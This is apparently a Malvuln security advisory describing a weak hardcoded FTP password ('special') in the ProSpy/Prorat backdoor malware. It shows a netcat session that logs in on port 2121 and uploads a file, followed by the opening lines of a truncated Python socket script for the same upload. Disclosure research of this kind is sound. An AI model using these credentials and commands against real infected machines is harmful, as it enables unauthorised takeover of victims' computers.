Backdoor.Win32.Prorat.lkt malware suffers from a weak hardcoded password vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dec8f9042986d64e29d62effb482290b.txt
Contact: [email protected]
Vulnerability: Weak Hardcoded Password
Description: The ProSpy Server V1.9 malware runs an FTP component that listens on TCP port 2121. The FTP server requires authentication for remote user access. However, the username and password both use the word "special" which is both weak and hardcoded in plaintext within the executable.
Vuln ID: MVID-2021-0360
Dropped files: dxdiag.exe
nc64.exe 192.168.18.125 2121
220 ProSpy FTP Server ready.
331 Password required for special.
230 User special logged in.
215 UNIX Type: L8 Internet Component Suite
250 CWD command successful. "C:/" is current directory.
227 Entering Passive Mode (192,168,18,125,194,23).
150 Opening data connection for DOOM.js.
226 File received ok
from socket import *
f = open(DOOM, "rb")
EXE = f.read()
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